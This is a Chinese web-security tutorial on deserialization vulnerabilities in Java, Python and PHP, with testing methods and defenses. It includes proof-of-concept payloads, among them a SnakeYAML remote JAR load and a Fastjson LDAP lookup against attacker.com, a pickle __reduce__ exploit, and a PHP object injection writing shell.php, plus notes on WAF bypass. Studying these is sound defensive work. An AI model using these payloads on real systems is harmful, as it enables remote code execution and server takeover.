当前位置: 首页 > news >正文

【Web安全】反序列化安全漏洞全解析:从原理到实战测试指南

文章目录

    • 引言:反序列化漏洞的"隐形威胁"
    • 一、Java反序列化安全风险深度剖析
      • 1.1 SnakeYAML库:危险的`load`方法
      • 1.2 Serializable与Externalizable接口:`readObject`中的陷阱
      • 1.3 XmlDecoder:XML反序列化
      • 1.4 XStream:从XML到代码执行
      • 1.5 Fastjson与Jackson:JSON反序列化
    • 二、Python反序列化安全风险全解析
      • 2.1 pickle/cPickle:序列化
      • 2.2 pyyaml:YAML解析
      • 2.3 shelve模块:简易存储的风险
      • 2.4 jsonpickle:JSON与pickle的"混合风险"
    • 三、PHP反序列化安全漏洞详解
      • 3.1 unserialize函数
      • 3.2 PHP Session反序列化
    • 四、反序列化漏洞通用测试方法论
      • 4.1 黑盒测试流程
      • 4.2 白盒代码审计要点
      • 4.3 常用测试工具链
    • 五、应急响应与防御最佳实践
      • 5.1 漏洞验证与影响评估
      • 5.2 临时缓解措施
      • 5.3 彻底修复方案
    • 六、总结与展望

引言:反序列化漏洞的"隐形威胁"

序列化与反序列化是数据存储和传输的基础技术,广泛应用于对象持久化、跨网络通信、进程间数据交换等场景。

序列化将对象转换为可传输或存储的格式(如二进制流、XML、JSON等),反序列化则将这些格式还原为原始对象。

然而,当应用程序对不可信数据源进行反序列化操作时,攻击者可能通过构造恶意数据,触发代码执行、权限提升等严重安全问题。

对于安全测试人员而言,掌握反序列化漏洞的检测方法、利用技巧和防御策略,是保障应用安全的关键能力。

本文将系统梳理Java、Python、PHP三大语言中反序列化的高危风险点,结合实战案例详解测试方法,提供全面的安全检测指南,助力安全测试人员构建反序列化漏洞防御体系。

一、Java反序列化安全风险深度剖析

Java作为企业级应用的主流开发语言,其反序列化机制因复杂度高、涉及组件广,成为漏洞高发区。Java序列化通过java.io.Serializable接口实现,当对象被序列化时,其状态信息被转换为字节流;反序列化时,字节流被还原为对象,过程中会自动调用特定方法(如readObject),这为攻击者提供了可乘之机。

1.1 SnakeYAML库:危险的load方法

风险原理:SnakeYAML是Java中常用的YAML解析库,其Yaml.load()方法在解析YAML数据时,会自动实例化指定类并执行构造方法及相关逻辑。若解析的数据来自不可信来源,攻击者可构造包含恶意类的YAML payload,触发远程代码执行。

典型漏洞案例:某电商平台的配置文件解析功能使用SnakeYAML的load()方法处理用户上传的YAML配置,攻击者上传包含java.lang.Runtime类的恶意YAML数据,成功执行系统命令,获取服务器权限(类似CVE-2022-xxxxx场景)。

Payload构造示例

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker.com/malicious.jar"]]]
]

该payload会让SnakeYAML加载远程恶意JAR包,执行其中的恶意代码。

安全测试方法

  • 黑盒测试:寻找接受YAML格式输入的功能点(如配置上传、数据导入),尝试提交包含恶意类的YAML payload,观察是否执行预期命令(如创建文件、发起网络请求)。
  • 白盒审计:检查代码中是否存在Yaml.load()调用,跟踪输入源是否可控,是否存在输入过滤机制。

防御措施

  • 优先使用Yaml.safeLoad()替代load()safeLoad()仅支持有限的安全类(如基本类型、集合类)。

  • 若必须使用load(),通过Constructor类限制可实例化的类,例如:

    // 仅允许解析String和List类型
    Constructor constructor = new Constructor();
    constructor.addTypeDescription(new TypeDescription(String.class));
    constructor.addTypeDescription(new TypeDescription(List.class));
    Yaml yaml = new Yaml(constructor);
    
  • 对输入YAML数据进行严格校验,禁止包含!!(类指定标记)的内容。

1.2 Serializable与Externalizable接口:readObject中的陷阱

风险原理:实现Serializable接口的类可被序列化,反序列化时会自动调用readObject()方法(若定义)。攻击者可构造恶意序列化数据,使readObject()执行非预期逻辑(如命令执行、文件操作)。Externalizable接口的readExternal()方法同理,且因其更灵活的序列化控制,风险更高。

此外,readResolve()(用于指定反序列化返回的对象)和readObjectNoData()(当接收方没有序列化对象的类信息时调用)也可能成为攻击入口。

典型漏洞案例:Apache Commons Collections库(2015年爆发出名的反序列化漏洞)中,InvokerTransformer类的transform()方法可调用任意方法,攻击者通过构造包含该类的序列化链,结合readObject()触发,实现远程代码执行(CVE-2015-7501)。

攻击链构造逻辑

  1. 寻找包含危险方法的类(如可执行命令的Runtime.exec());
  2. 找到能调用危险方法的中间类(如InvokerTransformertransform());
  3. 构造序列化链,使readObject()在反序列化时触发整个调用链。

安全测试方法

  • 黑盒测试:
    • 识别可能进行反序列化的功能点(如Cookie、Session、文件上传、RPC通信);
    • 使用工具(如ysoserial)生成对应框架的恶意序列化数据,替换正常数据并发送;
    • 通过DNSlog、HTTP请求等方式验证命令是否执行(如ping dnslog-domain)。
  • 白盒审计:
    • 检查实现Serializable接口的类,重点关注readObject()方法是否有危险操作;
    • 跟踪反序列化输入源,确认是否对不可信数据进行过滤。

防御措施

  • 避免对不可信数据进行反序列化,若必须使用,采用白名单机制限制可反序列化的类;
  • readObject()中添加输入验证逻辑,检查对象字段是否符合预期;
  • 使用Java Security Manager限制类加载和方法执行权限;
  • 升级依赖库至最新版本,修复已知反序列化漏洞(如Apache Commons Collections ≥3.2.2);
  • 采用序列化数据加密和签名机制,验证数据完整性。

1.3 XmlDecoder:XML反序列化

风险原理javax.xml.bind.XmlDecoder用于将XML数据反序列化为Java对象,但其readObject()方法在处理包含newmethod等标签的XML数据时,可能执行任意代码。攻击者可构造恶意XML payload,触发命令执行。

Payload示例

<java><object class="java.lang.Runtime" method="getRuntime"/><void method="exec"><string>calc.exe</string></void>
</java>

该XML会让XmlDecoder创建Runtime对象并执行calc.exe(Windows系统计算器)。

安全测试方法

  • 寻找接受XML输入并使用XmlDecoder解析的功能(如SOAP接口、XML数据导入);
  • 提交包含恶意方法调用的XML数据,观察是否执行命令;
  • 白盒审计代码中XmlDecoder.readObject()的调用,确认输入是否可控。

防御措施

  • 避免使用XmlDecoder处理不可信XML数据,改用更安全的XML解析库(如JAXB带严格验证);
  • 对XML输入进行Schema验证,禁止包含java.lang.Runtimejava.lang.ProcessBuilder等危险类的标签;
  • 限制XmlDecoder的类加载器权限,仅允许加载信任的类。

1.4 XStream:从XML到代码执行

风险原理:XStream是一款流行的Java XML序列化库,其fromXML()方法可将XML数据转换为对象。早期版本中,XStream默认允许反序列化任意类,攻击者通过构造包含恶意类的XML,可触发远程代码执行(如CVE-2021-39144)。

Payload示例

<sorted-set><java.util.TreeSet><comparator class="java.util.stream.Stream$BuilderImpl"><lambdas><lambda><java.lang.ProcessBuilder><command><string>calc.exe</string></command><start/></java.lang.ProcessBuilder></lambda></lambdas></comparator></java.util.TreeSet>
</sorted-set>

安全测试方法

  • 检测使用XStream的功能点(如API接口、数据导入),尝试提交上述恶意XML;
  • 确认XStream版本,查询是否存在已知反序列化漏洞(如版本<1.4.18存在高风险);
  • 白盒审计XStream.fromXML()的输入源,检查是否有安全配置(如类白名单)。

防御措施

  • 升级XStream至1.4.18及以上版本,该版本默认启用安全模式;

  • 配置类白名单,限制可反序列化的类:

    XStream xstream = new XStream();
    XStreamSecurityManager security = xstream.getSecurityManager();
    security.allowTypesByWildcard(new String[]{"com.example.**"}); // 仅允许com.example包下的类
    
  • 避免直接反序列化不可信XML数据,采用数据清洗和验证。

1.5 Fastjson与Jackson:JSON反序列化

风险原理:Fastjson和Jackson是Java中常用的JSON解析库,虽主要用于JSON处理,但支持将JSON反序列化为Java对象。若配置不当(如Fastjson开启autoType,Jackson开启enableDefaultTyping),攻击者可构造包含恶意类的JSON payload,触发反序列化漏洞。

典型漏洞

  • Fastjson:autoType功能允许JSON中指定类名(如@type":"com.sun.rowset.JdbcRowSetImpl"),攻击者可利用该特性加载危险类(CVE-2017-18349、CVE-2022-25845等)。
  • Jackson:早期版本的enableDefaultTyping会导致类似风险,可通过@class指定类名触发攻击(CVE-2017-7525)。

Payload示例(Fastjson)

{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://attacker.com/malicious","autoCommit": true
}

该payload会让Fastjson加载JdbcRowSetImpl类,触发LDAP请求加载远程恶意类。

安全测试方法

  • 检测JSON接口是否支持类型指定(如包含@type@class字段);
  • 提交包含危险类的JSON数据,通过LDAP/RMI日志或DNSlog验证是否触发请求;
  • 确认库版本,检查是否存在已知漏洞(如Fastjson<1.2.83存在风险)。

防御措施

  • 升级至最新版本(Fastjson ≥1.2.83,Jackson ≥2.12.0);
  • 禁用危险配置:
    • Fastjson:关闭autoTypeParserConfig.getGlobalInstance().setAutoTypeSupport(false));
    • Jackson:避免使用enableDefaultTyping,改用activateDefaultTyping并限制类型;
  • 配置类白名单,仅允许反序列化信任的类;
  • 对输入JSON中的类型字段进行过滤,禁止包含危险类名。

二、Python反序列化安全风险全解析

Python作为动态编程语言,其序列化机制(如pickle)设计上允许执行任意代码,这使得反序列化漏洞更易被利用。Python反序列化漏洞主要集中在pickle模块及基于其实现的第三方库(如pyyaml、shelve)。

2.1 pickle/cPickle:序列化

风险原理:Python的pickle模块(Python2中的cPickle是其C语言实现)用于对象序列化,但其反序列化(load/loads)过程会执行__reduce__等魔法方法中定义的代码。攻击者可构造恶意pickle数据,使load/loads执行任意命令。

攻击原理示例

import pickle
import osclass Malicious:def __reduce__(self):# __reduce__返回的元组会在反序列化时执行return (os.system, ('calc.exe',))# 生成恶意pickle数据
payload = pickle.dumps(Malicious())# 反序列化时执行calc.exe
pickle.loads(payload)

典型漏洞场景:某Python Web应用使用pickle序列化用户会话数据并存储在Cookie中,攻击者修改Cookie中的pickle数据为恶意payload,服务器反序列化时执行命令,获取权限。

安全测试方法

  • 黑盒测试:
    • 识别使用pickle处理数据的功能(如Cookie、缓存、文件上传);
    • 尝试替换数据为恶意pickle payload(可通过pickle.dumps()生成);
    • 验证命令执行(如通过curl http://attacker.com查看日志)。
  • 白盒审计:
    • 搜索代码中pickle.load()pickle.loads()的调用,确认输入是否来自不可信源;
    • 检查是否对输入数据进行签名或加密验证。

防御措施

  • 禁止对不可信数据使用pickle反序列化,优先使用JSON(json模块)等安全格式;
  • 若必须使用,对pickle数据进行加密和签名(如使用cryptography库),验证完整性;
  • 采用沙箱环境(如restrictedpython)限制反序列化过程中的代码执行权限;
  • 升级Python至3.8及以上,利用其更严格的字节码验证机制。

2.2 pyyaml:YAML解析

风险原理:pyyaml是Python的YAML解析库,其yaml.load()方法(默认配置下)支持解析!!python/object等标签,可实例化任意Python类并执行其构造方法及相关逻辑,存在远程代码执行风险。

Payload示例

!!python/object/apply:os.system ["calc.exe"]

该YAML数据在yaml.load()解析时会执行os.system("calc.exe")

安全测试方法

  • 寻找接受YAML输入的功能点(如配置文件上传、API参数);
  • 提交包含!!python/object!!python/object/apply等标签的YAML数据;
  • 检查是否执行预期命令(如创建文件、发起网络请求)。

防御措施

  • 强制使用yaml.safe_load()替代yaml.load()safe_load()仅支持基本数据类型;

  • 若需解析自定义类,使用yaml.Loader并定义安全的构造器:

    class SafeLoader(yaml.SafeLoader):# 仅允许加载指定类pass
    SafeLoader.add_constructor('!MyClass', my_class_constructor)
    data = yaml.load(yaml_str, Loader=SafeLoader)
    
  • 对输入YAML进行过滤,移除包含!!python的危险标签。

2.3 shelve模块:简易存储的风险

风险原理shelve模块用于简单的键值对存储,其内部基于pickle实现。调用shelve.open()打开数据库时,会对存储的键值对进行反序列化,若数据库文件可控,攻击者可构造恶意数据触发代码执行。

漏洞示例:某应用使用shelve存储用户配置,配置文件位于/tmp/user_configs/目录且权限宽松,攻击者替换配置文件为恶意pickle数据,应用加载时执行命令。

安全测试方法

  • 检查应用是否使用shelve模块,确认数据库文件的存储路径和权限;
  • 尝试替换数据库文件为恶意pickle数据,观察应用是否执行命令;
  • 白盒审计shelve.open()的参数,确认文件路径是否可控。

防御措施

  • 限制shelve数据库文件的存储路径和权限(如仅允许root用户读写);
  • 避免使用shelve处理不可信数据,改用SQLite等更安全的存储方式;
  • shelve文件进行加密和校验,防止篡改。

2.4 jsonpickle:JSON与pickle的"混合风险"

风险原理:jsonpickle是一款将Python对象序列化为JSON的库,其jsonpickle.decode()方法在反序列化时会解析JSON中的类信息,通过pickle机制重建对象,因此继承了pickle的安全风险。

Payload示例

{"py/object": "os.system", "py/args": ["calc.exe"]}

jsonpickle.decode()解析该JSON时,会执行os.system("calc.exe")

安全测试方法

  • 检测使用jsonpickle的功能点(如API数据交换),提交包含"py/object"的JSON;
  • 验证是否执行命令,确认输入是否可控。

防御措施

  • 避免使用jsonpickle.decode()处理不可信JSON,改用标准json模块;

  • 若必须使用,通过unpickler参数限制可反序列化的类:

    import jsonpickle
    from jsonpickle.unpickler import Unpicklerclass SafeUnpickler(Unpickler):def find_class(self, module, name):# 仅允许特定类if module == 'myapp' and name in ['User', 'Config']:return super().find_class(module, name)raise pickle.UnpicklingError("Unsafe class")data = jsonpickle.decode(json_str, unpickler=SafeUnpickler)
    

三、PHP反序列化安全漏洞详解

PHP的反序列化机制因灵活性高、缺乏严格限制,成为Web应用中常见的漏洞来源。PHP通过serialize()unserialize()实现对象序列化,当unserialize()处理不可信数据时,可能触发对象注入攻击。

3.1 unserialize函数

风险原理unserialize()在还原对象时,会自动调用对象的魔术方法(如__wakeup()__destruct()__toString()等)。若类中定义的魔术方法包含危险操作(如文件写入、数据库查询),攻击者可构造恶意序列化字符串,控制方法执行流程,实现代码执行、文件读取等攻击。

漏洞示例

class FileHandler {private $filename;function __destruct() {// 魔术方法:对象销毁时执行file_put_contents($this->filename, "恶意内容");}
}// 攻击者构造的序列化字符串
$payload = 'O:11:"FileHandler":1:{s:14:"filename";s:10:"shell.php";}';// 反序列化时触发__destruct(),写入shell.php
unserialize($payload);

典型漏洞案例:Drupal CMS的CVE-2017-6920漏洞,攻击者利用unserialize()处理不可信数据,结合特定类的魔术方法,执行远程代码,获取服务器控制权。

安全测试方法

  • 黑盒测试:
    • 寻找接受序列化字符串的参数(如Cookie、表单字段、URL参数);
    • 分析应用使用的类,构造包含恶意属性的序列化字符串;
    • 通过写入webshell、执行命令等方式验证漏洞(如生成phpinfo()的文件)。
  • 白盒审计:
    • 搜索unserialize()调用,确认参数是否来自用户输入;
    • 分析相关类的魔术方法,判断是否存在可利用的危险操作(如file_put_contentsexec)。

防御措施

  • 避免对不可信数据使用unserialize(),改用JSON格式(json_encode/json_decode);

  • 对序列化字符串进行签名验证(如使用hash_hmac),确保数据未被篡改;

  • 定义__unserialize()方法(PHP 7.4+),在反序列化时对属性进行严格验证;

  • 限制反序列化的类范围,通过白名单机制仅允许信任的类:

    function safe_unserialize($data) {$allowed_classes = ['User', 'Config'];return unserialize($data, ['allowed_classes' => $allowed_classes]);
    }
    

3.2 PHP Session反序列化

风险原理:PHP Session用于存储用户会话数据,默认以文件形式存储在服务器。Session数据的序列化与反序列化方式由session.serialize_handler控制(默认php)。当应用使用不同的序列化处理器存储和读取Session数据时,可能导致反序列化漏洞。

漏洞场景

  1. 应用A使用php_serialize处理器存储Session(格式:key|s:len:"value";);
  2. 应用B使用php处理器读取同一Session(格式:key:len:"value";);
  3. 攻击者构造特殊Session值(如user|O:11:"FileHandler":1:{...}),应用B读取时会将user|O:11:...解析为对象,触发反序列化。

安全测试方法

  • 检查应用的Session配置(session.serialize_handler),确认存储和读取是否使用不同处理器;
  • 尝试在Session中注入恶意序列化字符串,观察是否触发对象注入;
  • 测试Session固定攻击结合反序列化的可能性。

防御措施

  • 确保Session的存储和读取使用相同的序列化处理器;
  • 限制Session文件的访问权限,防止未授权修改;
  • 对Session数据进行加密,避免明文篡改;
  • 升级PHP至7.1及以上,使用session.upload_progress.cleanup等安全配置。

四、反序列化漏洞通用测试方法论

4.1 黑盒测试流程

  1. 信息收集

    • 识别应用使用的技术栈(Java/Python/PHP、框架、第三方库);
    • 寻找可能涉及反序列化的功能点(文件上传、数据导入、API接口、Cookie/Session);
    • 分析数据传输格式(二进制、XML、JSON、YAML等)。
  2. 漏洞探测

    • 针对不同语言和库,使用对应payload进行测试(如Java用ysoserial生成,Python用pickle构造);
    • 利用DNSlog、HTTP回调等方式验证漏洞(避免直接执行破坏性命令);
    • 测试不同数据长度和格式,观察应用报错信息(可能泄露反序列化逻辑)。
  3. 漏洞验证

    • 执行明确可控的操作(如创建特定文件、写入固定内容);
    • 结合应用上下文,确认漏洞的实际影响范围(如是否可执行系统命令、是否有权限限制)。
  4. 漏洞利用

    • 根据验证结果,构造更复杂的payload(如获取shell、提权);
    • 考虑绕过防御机制(如过滤、WAF),对payload进行编码或变形。

4.2 白盒代码审计要点

  1. 危险函数定位

    • Java:readObject()load()fromXML()parse()等;
    • Python:pickle.load()yaml.load()shelve.open()等;
    • PHP:unserialize()session_start()(结合处理器配置)。
  2. 输入源追踪

    • 确认危险函数的参数是否来自用户可控输入(如HTTP请求参数、文件内容);
    • 检查输入是否经过过滤、验证或净化(如白名单校验、格式转换)。
  3. 依赖库风险分析

    • 检查第三方库版本,查询是否存在已知反序列化漏洞(如使用mvn dependency-checksafety check);
    • 分析库的默认配置是否安全(如Fastjson的autoType是否开启)。

4.3 常用测试工具链

  • Java

    • ysoserial:生成多种Java库的反序列化payload;
    • Burp Suite + Deserialization Scanner:自动化检测Java反序列化漏洞;
    • GadgetProbe:探测目标应用中存在的可利用Gadget(攻击链组件)。
  • Python

    • pickletools:分析pickle数据结构;
    • yamlscanner:检测pyyaml反序列化风险;
    • requests + 自定义脚本:构造并发送恶意payload。
  • PHP

    • PHPGGC:生成PHP各种框架的反序列化payload;
    • Burp Suite + PHP Object Injection Scanner:自动化检测工具;
    • Docker环境:模拟不同PHP版本和配置的测试环境。

五、应急响应与防御最佳实践

5.1 漏洞验证与影响评估

  • 确认漏洞存在后,立即隔离受影响系统,避免扩大影响;
  • 评估漏洞的利用难度(如是否需要特定条件、是否有前置漏洞);
  • 检查日志,确定是否已被攻击者利用(如异常命令执行记录、陌生文件创建)。

5.2 临时缓解措施

  • 阻断攻击源:通过防火墙、WAF拦截包含恶意payload的请求;
  • 限制功能:暂时关闭涉及反序列化的功能点(如文件上传、数据导入);
  • 输入过滤:紧急添加规则,过滤危险关键字(如java.lang.Runtime!!python)。

5.3 彻底修复方案

  • 升级组件:将存在漏洞的库更新至最新安全版本;
  • 替换危险方法:使用安全替代方案(如safeLoad替代load);
  • 实施白名单:严格限制可反序列化的类和方法;
  • 数据验证:对输入进行严格校验,包括格式、长度、内容;
  • 加密签名:对序列化数据进行加密和签名,确保完整性和真实性;
  • 安全监控:部署日志审计和异常检测,及时发现攻击行为。

六、总结与展望

反序列化漏洞作为横跨多语言的"通用型"安全风险,其危害之大、隐蔽性之强,一直是安全测试的重点和难点。随着攻防对抗的升级,攻击者不断发现新的利用链,防御技术也在持续演进(如更严格的默认配置、动态沙箱检测)。

对于安全测试人员而言,需建立"全生命周期"的漏洞检测思维:在开发阶段参与代码审计,识别潜在风险;在测试阶段通过黑盒与白盒结合的方式挖掘漏洞。同时,需持续关注新漏洞披露和防御技术发展,不断更新知识体系。

本文是「Web安全」系列内容,点击专栏导航查看全部内容。

http://www.dtcms.com/a/355987.html

相关文章:

  • Vue3 Pinia 中 store.$dispose()的用法说明
  • Vue3组件加载顺序
  • vue项目运行后自动在浏览器打开
  • 使用npm init vue@latest 基于vite创建的vue项目
  • 特色领域数据集:以数据之力,赋能多元行业发展
  • three 点位图
  • HT338立体声D类音频功放
  • 消息推送与 WebSocket 学习
  • Node.js终极文本转图指南
  • 基于SpringBoot的学科竞赛管理系统
  • 请详细介绍RuntimeInit.java中的MethodAndArgsCaller类
  • 架构设计——云原生与分布式系统架构
  • nginx的启动 、 停止、重载命令
  • node,nvm,vscode下载安装教程(windows版本)
  • AI“炼”金术:从数据到智能的蜕变
  • Shell 脚本编程完全指南
  • HFSS许可证与版本兼容性
  • 智慧清洁革命:有鹿机器人如何重塑三大行业未来
  • AbpvNext问题记录——post接口,接收前端发送的空串转换数字异常问题。
  • Orgin绘制热力图
  • 财务报表包括哪些?一文讲清财务三大表
  • DMN6140L-13 电子元器件 Diodes美台N沟道增强型功率MOSFET
  • Codeforces Round 1043 (Div. 3) E. Arithmetics Competition
  • docker搭建Apisix和Apisix Dashboard
  • 智能仪表板DevExpress Dashboard v25.1新版亮点:增强数据管理功能
  • rk键盘 用蓝牙链接 教程
  • 实战演练(一):从零构建一个功能完备的Todo List应用
  • C++(Qt)软件调试---vcpkg安装crashpad(34)
  • 金融Agent+LLM的特性分析与调研
  • C#并行计算(SIMD)应用